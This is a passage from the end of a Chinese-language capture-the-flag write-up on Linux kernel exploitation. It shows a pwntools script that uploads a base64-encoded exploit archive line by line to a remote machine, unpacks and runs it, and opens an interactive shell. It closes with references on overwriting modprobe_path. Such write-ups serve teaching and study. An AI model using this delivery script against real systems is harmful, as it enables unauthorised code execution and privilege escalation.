print('now line: ' + str(count)) | |
line = f.readline().replace("\n","") | |
if len(line)<=0: | |
break | |
cmd = b"echo '" + line.encode() + b"' >> b64_exp;" | |
p.sendline(cmd) | |
p.recvuntil("/ $") | |
count += 1 | |
f.close() | |
p.sendline("base64 -d b64_exp > exp.tar.gz;") | |
p.sendline("tar -xzvf exp.tar.gz") | |
p.sendline("chmod +x ./exp;") | |
p.sendline("./exp") | |
p.interactive() |
截图证明顺利的读到 flag 。
# 参考链接
【NOTES.0x03】Linux Kernel Pwn II:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas